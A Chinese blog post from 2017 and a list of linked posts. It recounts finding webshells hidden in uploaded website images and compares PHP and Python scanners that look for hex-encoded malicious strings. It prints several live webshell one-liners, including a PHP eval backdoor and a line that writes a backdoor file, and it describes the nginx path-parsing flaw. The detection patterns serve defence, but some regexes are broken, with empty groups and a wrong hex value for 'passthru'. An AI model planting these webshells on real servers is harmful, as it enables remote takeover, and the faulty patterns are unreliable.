网站图片挂马检测及PHP与python的图片文件恶意代码检测对比
前言
周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。
取出部分大致如下:
服务器IP/名称 | 木马文件路径 | 更新时间 | 木马类型 | 状态(全部) |
---|---|---|---|---|
*.*.*.* | /path/*144.gif | 2017/8/7 5:53 | Webshell | 待处理 |
*.*.*.* | /path/*132.jpg | 2017/8/7 5:23 | Webshell | 待处理 |
*.*.*.* | /path/*156.txt | 2017/8/7 5:22 | Webshell | 待处理 |
*.*.*.* | /path/*0304.jpg | 2017/8/7 5:22 | 木马文件 | 待处理 |
分析
检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。
检查
path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++
检查警告中显示的图片文件后发现,木马类型为Webshell
或木马文件
的图片或文件内含有恶意代码例如:
<%execute(request("a"))%>
<?php eval($_POST['a']);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>
使用Notepad++
的十六进制模式(需安装插件HEX-Editor)查看
验证
经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞。
正好我的虚拟机上有nginx立刻来试一下。
虚拟机配置 | 版本 |
---|---|
nginx | 1.10.1 |
php | 7.2.0-dev |
- 首先用画图随便造个图片
- 使用
Notepad++ Hex-Editor
将<?php phpinfo(); ?>
插入任意角落。 - 将此图片传入虚拟机中
- 在虚拟机中编辑php的php.ini,将
;cgi.fix_pathinfo=1
打开 - 运行nginx,查看效果
经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo
设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。
过滤
先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中
<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000
转成十六进制
由此可以得出彼此对应的十六进制
< | % | ( | ) | % | > |
---|---|---|---|---|---|
3c | 25 | 28 | 29 | 25 | 3e |
用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。
function osWalk($path,$dirs=[])
{
if (false != ($handle = opendir ( $path ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != "..") {
if(is_file($path.'\\'.$file))
$dirs[]=$path.'\\'.$file;
else
$dirs=osWalk($path.'\\'.$file,$dirs);
}
}
closedir ( $handle );
}
return $dirs;
}
function checkHex($img_path)
{
if (file_exists($img_path)) {
$resource = fopen($img_path, 'rb');
$fileSize = filesize($img_path);
fseek($resource, 0); //把文件指针移到文件的开头
$hexCode = bin2hex(fread($resource, $fileSize));
fclose($resource);
/* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
return true;
else
return false;
} else {
return false;
}
}
$scan_start=microtime(true);
$qsFiles=osWalk('e:\path_to_image');
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
if (checkHex($qs))
$res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf('文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>',array(
count($qsFiles), count($res),
$scan_end-$scan_start,
$check_end-$check_start
));
//echo implode('<br>',$res);
#文件总数:1320,中标文件:28
#扫描时间:1.16秒,检测时间:125.50秒
觉得这样查时间有点多,用python也写了一个批量匹配
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os,re,time,math;
def check_hex(img_path,p):
with open(img_path,'rb') as f:
content=f.read();
f.close();
if p.search(content.encode('hex')):
return True;
return False;
def main():
#<?php ?>|eval|fputs|fwrite
p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');
scan_start=time.time();
total_files=0;total_taged=[];
for parent,dirname,filenames in os.walk(r'E:\path_to_image'):
for file in filenames:
img_path=parent+os.path.sep+file;
total_files+=1;
if check_hex(img_path,p1):
total_taged.append(img_path);
scan_end=time.time(); print u'扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));
#for tag in total_taged:
# print tag;
print 'END';
if __name__=='__main__':
main(); #扫描完成!总用时:97.24秒。
#总共扫描文件数: 1320,中标文件数: 28。
在相同的匹配条件下python的速度比php快22.4%。
PHP与python相同情况下扫描用时对比
接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:
<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 956 | 14.81 |
python | 958 | 11.58 |
正则组合2:
<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 956 | 18.40 |
python | 958 | 13.85 |
正则组合3:
<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()|()|()
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 961 | 26.74 |
python | 963 | 17.90 |
友情赠送
使用python获取字符串的十六进制比较方便,只需
print 'string'.encode('hex'); #737472696e67
这里放一点图片恶意代码,若有需要请随意使用
图片恶意代码 | hex |
---|---|
\<\?php \?> | 3c3f706870.*\?3f3e |
\<\? \?> | 3c3f.*\?3f3e |
\<\% \%> | 3c25.*\?253e |
exec | 65786563 |
eval | 6576616c |
system | 73797374656d |
passthru | 061737374687275 |
fputs | 6670757473 |
fwrite | 667772697465 |
总结
通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题。
备注:本文发布于2017-08-14,我github page的原文地址。
网站图片挂马检测及PHP与python的图片文件恶意代码检测对比的更多相关文章
- wordpress网站被挂马以及防御方法
wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...
- 恶意代码检测工具 -- Mathematics Malware Detected Tools
Mathematics Malware Detected Tools 重要:由于缺少测试数据,部分结论可能不正确.更多更准确的结论,还需要进行大量实验. 概述 mmdt(Mathematics Mal ...
- 机器学习&恶意代码检测简介
Malware detection 目录 可执行文件简介 检测方法概述 资源及参考文献 可执行文件简介 ELF(Executable Linkable Format) linux下的可执行文件格式,按 ...
- 解决web网站被挂马清除方法
案例:某公司一个lamp的服务器网站站点目录下所有文件均被植入了广告脚本如下内容: <script language=javascriptsrc=http://%4%66E%78%72%67%2 ...
- Python读取mdb文件以及shell检测
最近写了两个python的脚本不过实际意义不是很大,就是想练练python写程序,一直研究web方面脚本写的少多了,还有C语言也用的少多了.现在有时间得多写写程序,别把以前学到的知识给忘了. 作者: ...
- 常见JS挂马方法及如何防止网站被黑客挂马?
最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定.可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因.最后发现是网站被挂马了,导致网站被连累了.在此,借助马海祥博客的平台,给 ...
- 基于git diff进行的eslint代码检测
缘起 在项目中, 通常都会使用代码检测工具来规范团队的代码风格, 比如eslint.随着代码的不断增加, eslint进行代码检测的时间也越来越久.每次检测的时候, 需要检测的文件和实际检测的文件极度 ...
- 基于深度学习的安卓恶意应用检测----------android manfest.xml + run time opcode, use 深度置信网络(DBN)
基于深度学习的安卓恶意应用检测 from:http://www.xml-data.org/JSJYY/2017-6-1650.htm 苏志达, 祝跃飞, 刘龙 摘要: 针对传统安卓恶意程序检测 ...
- SonarQube 之 gitlab-plugin 配合 gitlab-ci 完成每次 commit 代码检测
转载自:https://cloud.tencent.com/developer/article/1010601 1.背景介绍 我们知道使用 SonarQube 可以在日常开发中检测代码质量,除了使用 ...
随机推荐
- 【ASP.NET MVC 学习笔记】- 07 使用 Entity Framework
本文参考:http://www.cnblogs.com/willick/p/3304534.html 1.ORM(Object Relation Mapping)工具,是为了解决“关系数据库”和“面向 ...
- VUE 源码学习01 源码入口
VUE[version:2.4.1] Vue项目做了不少,最近在学习设计模式与Vue源码,记录一下自己的脚印!共勉!注:此处源码学习方式为先了解其大模块,从宏观再去到微观学习,以免一开始就研究细节然后 ...
- 史上最简单的MySQL安装教程之Linux(CentOS6.8)下安装MySQL5.6
一.准备 安装包:Percona-Server-5.6.21-70.0-r688-el6-x86_64-bundle.tar MySQL下载地址:http://www.percona.com/doc/ ...
- Anaconda Error opening file for writing , failed to create anacoda menu等报错问题解决方案
安装anaconda的时候可能会遇到这个报错, 原因可能是:路径不允许有空格 此外发生报错failed to create anacoda menu, 解决方案 进入 cmd,找到你安装的位置(我的是 ...
- ABAP开源项目清单
因为曾经的“SAP Code Exchange”平台已经于2013年倒闭,现在无论在SCN还是网络上都比较难找到一个地方来关注全部的优秀ABAP开源项目. 本文将这些项目的地址和他们的描述列出,以供参 ...
- HDU 6055 Regular polygon
Regular polygon Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)T ...
- #define is unsafe
#define is unsafe Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) T ...
- 0_Simple__cppIntegration
引用已经编好的 .cu 和 .cpp 代码来混合使用.在 main.cpp 中调用了使用GPU的 cppIntegration.cu (测试函数也在其中) 和使用CPU的 cppIntegration ...
- form 表单处理
submit相关 当使用 submit 按钮或者 image 或者button type="submit" 来提交表单时,会触发 submit 事件,但是直接javascri ...
- Python爬虫入门:URLError异常处理
大家好,本节在这里主要说的是URLError还有HTTPError,以及对它们的一些处理. 1.URLError 首先解释下URLError可能产生的原因: 网络无连接,即本机无法上网 连接不到特定的 ...